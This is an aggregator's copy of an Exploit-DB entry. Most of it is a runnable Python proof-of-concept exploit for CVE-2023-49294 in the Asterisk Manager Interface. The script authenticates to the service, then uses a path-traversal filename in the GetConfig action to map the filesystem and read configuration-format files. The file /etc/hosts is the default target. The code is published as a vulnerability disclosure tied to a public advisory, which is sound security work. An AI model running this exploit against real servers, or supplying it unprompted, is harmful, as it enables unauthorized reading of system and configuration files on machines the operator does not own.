3

[remote] Asterisk AMI - Partial File Content & Path Disclosure (Authenticate...

 1 month ago
source link: https://www.exploit-db.com/exploits/51927
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Asterisk AMI - Partial File Content & Path Disclosure (Authenticated)

EDB-ID:

51927

EDB Verified:


Exploit:

  /  

Platform:

Multiple

Date:

2024-03-28

Vulnerable App:

# Exploit Title: Asterisk AMI - Partial File Content & Path Disclosure (Authenticated)
# Date: 2023-03-26
# Exploit Author: Sean Pesce
# Vendor Homepage: https://asterisk.org/
# Software Link: https://downloads.asterisk.org/pub/telephony/asterisk/old-releases/
# Version: 18.20.0
# Tested on: Debian Linux
# CVE: CVE-2023-49294

#!/usr/bin/env python3
#
# Proof of concept exploit for CVE-2023-49294, an authenticated vulnerability in Asterisk AMI that
# facilitates filesystem enumeration (discovery of existing file paths) and limited disclosure of
# file contents. Disclosed files must adhere to the Asterisk configuration format, which is similar
# to the common INI configuration format.
#
# References:
#   https://nvd.nist.gov/vuln/detail/CVE-2023-49294
#   https://github.com/asterisk/asterisk/security/advisories/GHSA-8857-hfmw-vg8f
#   https://docs.asterisk.org/Asterisk_18_Documentation/API_Documentation/AMI_Actions/GetConfig/


import argparse
import getpass
import socket
import sys


CVE_ID = 'CVE-2023-49294'

DEFAULT_PORT = 5038
DEFAULT_FILE = '/etc/hosts'
DEFAULT_ACTION_ID = 0
DEFAULT_TCP_READ_SZ = 1048576  # 1MB



def ami_msg(action, args, encoding='utf8'):
    assert type(action) == str, f'Invalid type for AMI Action (expected string): {type(action)}'
    assert type(args) == dict, f'Invalid type for AMI arguments (expected dict): {type(args)}'
    if 'ActionID' not in args:
        args['ActionID'] = 0
    line_sep = '\r\n'
    data = f'Action: {action}{line_sep}'
    for a in args:
        data += f'{a}: {args[a]}{line_sep}'
    data += line_sep
    return data.encode(encoding)



def tcp_send_rcv(sock, data, read_sz=DEFAULT_TCP_READ_SZ):
    assert type(data) in (bytes, bytearray, memoryview), f'Invalid data type (expected bytes): {type(data)}'
    sock.sendall(data)
    resp = b''
    while not resp.endswith(b'\r\n\r\n'):
        resp += sock.recv(read_sz)
    return resp



if __name__ == '__main__':
    # Parse command-line arguments
    argparser = argparse.ArgumentParser()
    argparser.add_argument('host', type=str, help='The host name or IP address of the Asterisk AMI server')
    argparser.add_argument('-p', '--port', type=int, help=f'Asterisk AMI TCP port (default: {DEFAULT_PORT})', default=DEFAULT_PORT)
    argparser.add_argument('-u', '--user', type=str, help=f'Asterisk AMI user', required=True)
    argparser.add_argument('-P', '--password', type=str, help=f'Asterisk AMI secret', default=None)
    argparser.add_argument('-f', '--file', type=str, help=f'File to read (default: {DEFAULT_FILE})', default=DEFAULT_FILE)
    argparser.add_argument('-a', '--action-id', type=int, help=f'Action ID (default: {DEFAULT_ACTION_ID})', default=DEFAULT_ACTION_ID)
    if '-h' in sys.argv or '--help' in sys.argv:
        print(f'Proof of concept exploit for {CVE_ID} in Asterisk AMI. More information here: \nhttps://nvd.nist.gov/vuln/detail/{CVE_ID}\n', file=sys.stderr)
        argparser.print_help()
        sys.exit(0)
    args = argparser.parse_args()

    # Validate command-line arguments
    assert 1 <= args.port <= 65535, f'Invalid port number: {args.port}'
    args.host = socket.gethostbyname(args.host)
    if args.password is None:
        args.password = getpass.getpass(f'[PROMPT] Enter the AMI password for {args.user}: ')

    print(f'[INFO] Proof of concept exploit for {CVE_ID}', file=sys.stderr)
    print(f'[INFO] Connecting to Asterisk AMI:  {args.user}@{args.host}:{args.port}', file=sys.stderr)

    # Connect to the Asterisk AMI server
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.connect((args.host, args.port))

    # Read server banner
    banner = sock.recv(DEFAULT_TCP_READ_SZ)
    print(f'[INFO] Connected to {banner.decode("utf8").strip()}', file=sys.stderr)

    # Authenticate to the Asterisk AMI server
    login_msg = ami_msg('Login', {'Username':args.user,'Secret':args.password})
    login_resp = tcp_send_rcv(sock, login_msg)
    while b'Authentication' not in login_resp:
        login_resp = tcp_send_rcv(sock, b'')
    if b'Authentication accepted' not in login_resp:
        print(f'\n[ERROR] Invalid credentials: \n{login_resp.decode("utf8")}', file=sys.stderr)
        sys.exit(1)
    #print(f'[INFO] Authenticated: {login_resp.decode("utf8")}', file=sys.stderr)
    print(f'[INFO] Login success', file=sys.stderr)

    # Obtain file data via path traversal
    traversal = '../../../../../../../../'
    cfg_msg = ami_msg('GetConfig', {
        'ActionID': args.action_id,
        'Filename': f'{traversal}{args.file}',
        #'Category': 'default',
        #'Filter': 'name_regex=value_regex,',
    })
    resp = tcp_send_rcv(sock, cfg_msg)
    while b'Response' not in resp:
        resp = tcp_send_rcv(sock, b'')

    print(f'', file=sys.stderr)
    print(f'{resp.decode("utf8")}')

    if b'Error' in resp:
        sys.exit(1)

    pass  # Done
            

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK